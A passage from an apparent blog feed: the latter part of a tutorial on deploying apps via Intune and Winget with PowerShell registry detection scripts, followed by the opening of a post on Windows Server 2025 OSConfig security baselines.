If we would simply ask Winget with the command <code>winget list Notepad++.Notepad++</code> it would give us an accourate answer, but that does not mean we get it in an easily usable format.</p>
<p>This is the answer we get from winget
<img src="\intune\install_winget_apps\winget_list.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/></p>
<p>but if we capture the result it acutally commes out as an array. In addition the line <code>No installed package found matching input criteria</code> is always in the prefered language.</p>
<img src="\intune\install_winget_apps\winget_list2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<p>That is why we use the registry to find if the application is installed.</p>
<p>First we declare our parameter.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Notepad++"</span></span></code></pre>
</div><p>Then we check for the registry entry in the 64-bit application path. If it is found we escape with the <span style="color:crimson">exit code 0</span> (success).</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This is for 64-bit applications on 64-bit systems</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ItemProperty</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DisplayName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-like</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">*"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($app) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Found app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">!"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>If the application is not found under the 64-bit path, we then check the 32-bit application registry path. If the app is detected here, we exit with <span style="color:crimson">exit code 0</span> (success) and if not, with <span style="color:crimson">exit code 1</span> (not found).</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This is for 32-bit applications on 64-bit systems</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ItemProperty</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DisplayName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-like</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">*"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($app) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Found app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">!"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Did not find app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">!"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p><em><strong>Now we putting it all together.</strong></em></p>
<h2 id="use-winget-to-identify-package-information" tabindex="-1">📦 Use Winget to identify package information <a class="header-anchor" href="#use-winget-to-identify-package-information" aria-label="Permalink to &quot;:package: Use Winget to identify package information&quot;">&ZeroWidthSpace;</a></h2>
<p>When you open a PowerShell window you can use the Windows Package Manager with the <code>winget</code>command.
Winget will be pre-installed on all new Windows versions since Windows 10 21H2 or Windows 11 21H1.
Alternativly you can download it at <a href="https://aka.ms/getwinget" target="_blank" rel="noreferrer">aka.ms/getwinget</a>.</p>
<p>To find the <span style="color:crimson">package ID</span> of the application you want to install, use the following command:<br></p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Example for Notepad++</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">winget search Notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span></span></code></pre>
</div><img src="\intune\install_winget_apps\winget_app_search.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h2 id="create-and-implement-the-intune-app" tabindex="-1">📱 Create and implement the Intune App <a class="header-anchor" href="#create-and-implement-the-intune-app" aria-label="Permalink to &quot;:iphone: Create and implement the Intune App&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="creating-the-app-package" tabindex="-1">Creating the App Package <a class="header-anchor" href="#creating-the-app-package" aria-label="Permalink to &quot;Creating the App Package&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Download the <a href="https://github.com/microsoft/Microsoft-Win32-Content-Prep-Tool/archive/refs/heads/master.zip" target="_blank" rel="noreferrer">Microsoft-Win32-Content-Prep-Tool</a> from the Microsoft GitHub Page and unpack the ZIP file.</li>
<li>In the unpacked folder create another folder called <strong>'App'</strong> and copy the installation and uninstallation scripts into it (You can download both in my <a href="https://github.com/Vejitaxp/michaelsendpoint_public/tree/51b2dad07b5ec99527550cb03c42d9f4a3e62719/Intune/install_winget_apps" target="_blank" rel="noreferrer">GitHub Repository</a>).</li>
<li>Open a Powershell window and navigate to the folder where you extracted the downloaded files and run the <code>IntuneWinAppUtil.exe</code>.</li>
<li>You will now be asked to specify a source folder, a setup file, an output folder and whether you want to use a catalog folder or not. After that you press <strong>Enter</strong>.</li>
</ol>
<img src="\intune\install_winget_apps\Intunewin1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\intune\install_winget_apps\Intunewin2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>You can also download the finished <code>INTUNEWIN</code> file via DownGit from my <a href="https://downgit.github.io/#/home?url=https://github.com/Vejitaxp/michaelsendpoint_public/blob/main/Intune/install_winget_apps/install_app.intunewin" target="_blank" rel="noreferrer">GitHub Repository</a>.</p>
</div>
<hr>
<h3 id="creating-the-intune-app" tabindex="-1">Creating the Intune App <a class="header-anchor" href="#creating-the-intune-app" aria-label="Permalink to &quot;Creating the Intune App&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Open the <a href="https://inapps.cmd.ms/" target="_blank" rel="noreferrer">Apps blade</a> in the Intune admin center, select <strong>'Windows'</strong> and click <strong>'Add'</strong>.</li>
<li>Select the App type: <strong>Windows app (Win32)</strong>.</li>
<li>Now click <strong>'Select app package file'</strong> and select the <code>INTUNEWIN</code> file you created before.</li>
</ol>
<img src="\intune\install_winget_apps\Win32App1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>Now enter the name of the application and any additional information you need.</li>
</ol>
<img src="\intune\install_winget_apps\Win32App2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="5">
<li>The following tab <strong>'Program'</strong> allows you to enter the installation and uninstallation commands.</li>
</ol>
<ol>
With the install command, we parse the scripts inside the `INTUNEWIN` file, the `-app` (Notepad++.Notepad++) parameter, which it will use to determine the intended app.
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Powershell.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoProfile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ExecutionPolicy ByPass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">File .\install_app.ps1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">app Notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span></span></code></pre>
</div><ol>
The same is true for the uninstall command.
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Powershell.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoProfile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ExecutionPolicy ByPass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">File .\uninstall_app.ps1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">app Notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Notepad</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span></span></code></pre>
</div><img src="\intune\install_winget_apps\Win32App3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="6">
<li>In the next tab <strong>'Requirements'</strong> you can set the <strong>'Operating system architecture'</strong> (64-bit) and <strong>'Minimum operating system'</strong> (for example 'Windows 10 21H1').</li>
<li>In the <strong>'Detection rules'</strong> tab, select <strong>'Use a custom detection script'</strong> and upload the detection script you created earlier or download it from my <a href="https://github.com/Vejitaxp/michaelsendpoint_public/blob/51b2dad07b5ec99527550cb03c42d9f4a3e62719/Intune/install_winget_apps/detect_app.ps1" target="_blank" rel="noreferrer">GitHub Repository</a>.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Notepad++"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This is for 64-bit applications on 64-bit systems</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ItemProperty</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DisplayName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-like</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">*"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($app) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Found app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">!"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># This is for 32-bit applications on 64-bit systems</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ItemProperty</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DisplayName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-like</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">*"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($app) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Found app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">!"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Did not find app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">!"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Be aware that you need to change the app name in the detection script for every new app.<br>
Don`t use the Winget app ID here, but instead the actual app name that would appear in Windows.</p>
</div>
<img src="\intune\install_winget_apps\Win32App4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="8">
<li>Leave both options set to <strong>'No'</strong> and proceed to the next tab.</li>
<li>Next, you can skip the <strong>'Dependencies'</strong> and <strong>'Supersedence'</strong> and then assign the application to whomever you need.</li>
</ol>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>And that's it! With this approach, you can quickly roll out almost any app to your devices using Intune and Winget.
No more tedious packaging and repackaging apps over and over.
It's a huge time saver and keeps your deployment process flexible and modern by only using native tools.
Give it a try, and you'll wonder why you ever did it any other way. 😉</p>
<h3 id="key-advantages" tabindex="-1">Key Advantages <a class="header-anchor" href="#key-advantages" aria-label="Permalink to &quot;Key Advantages&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>Eliminates need for traditional app packaging</li>
<li>No need to periodically update app packages</li>
<li>Streamlines deployment process</li>
<li>Maintains robust Intune management capabilities</li>
<li>Uses native Windows Package Manager</li>
<li>Requires minimal setup (just one .intunewin file for all apps)</li>
<li>Easy to maintain and add to</li>
<li>Keeps the same reporting and management capabilities as traditional Win32 apps</li>
</ul>
<h3 id="how-to-modify-for-another-app" tabindex="-1">How to modify for another app <a class="header-anchor" href="#how-to-modify-for-another-app" aria-label="Permalink to &quot;How to modify for another app&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Use the same .intunewin file - no need to create a new one</li>
<li>Find the new app's package ID using: winget search [app name]</li>
<li>Modify the install command:</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Powershell.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoProfile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ExecutionPolicy ByPass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">File .\install_app.ps1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">app [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">new</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> package</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ID</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><ol start="4">
<li>Modify the uninstall command:</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Powershell.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoProfile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ExecutionPolicy ByPass </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">File .\uninstall_app.ps1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">app [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">new</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> package</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ID</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><ol start="5">
<li>Update the detection script with the new package ID:</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$appname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[new package ID]"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span></span></code></pre>
</div><p>The rest of the configuration in Intune remains the same - just update the app name and description to match your new application.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Configure Windows Server security baselines with OSConfig | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/OSConfig.html</link>
            <guid>https://michaelsendpoint.com/powershell/OSConfig.html</guid>
            <pubDate>Sun, 18 May 2025 16:56:40 GMT</pubDate>
            <description><![CDATA[Learn how to configure and manage Windows Server 2025 security baselines using OSConfig and PowerShell.]]></description>
            <content:encoded><![CDATA[<h1 id="configure-windows-server-security-baselines-with-osconfig" tabindex="-1">Configure Windows Server security baselines with OSConfig <a class="header-anchor" href="#configure-windows-server-security-baselines-with-osconfig" aria-label="Permalink to &quot;Configure Windows Server security baselines with OSConfig&quot;">&ZeroWidthSpace;</a></h1>
<img src="\powershell_osconfig\osconfig_banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>OSConfig is a handy tool that simplifies security configuration by using scenarios to quickly set up and manage your devices, whether they're on-premises or connected through Azure Arc.
At its core, OSConfig combines PowerShell cmdlets, built-in APIs, and scenario definitions to help you define and maintain the desired state of your systems.
Think of OSConfig as a built-in feature of Windows Server that makes configuring your devices easier.</p>
<p>Here are some of the key highlights of the security baselines:</p>
<ul>
<li>Secured-Core: UEFI MAT, Secure Boot, Signed Boot Chain</li>
<li>Protocols: TLS Enforced 1.2+, SMB 3.0+, Kerberos AES</li>
<li>Credential protection: LSASS/PPL</li>
<li>Account and password policies</li>
<li>Security policies and security options</li>
</ul>
<p>One of the coolest things about OSConfig is its drift control feature. It keeps your system locked into a secure, known good state.
Once you enable it, OSConfig takes care of any unexpected changes by automatically fixing them.
It does this through a refresh task that runs in the background, so you don’t have to worry about your system drifting away from its desired configuration.</p>
<img src="\powershell_osconfig\OSConfig.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Currently OSConfig securits baselines only support <span style="color:crimson"><strong>Windows Server 2025</strong></span>.</p>
</div>
<h2 id="installation" tabindex="-1">💾 Installation <a class="header-anchor" href="#installation" aria-label="Permalink to &quot;:floppy_disk: Installation&quot;">&ZeroWidthSpace;</a></h2>
<p>Open a PowerShell session as an Administrator and use the following command to install the needed Module</p>
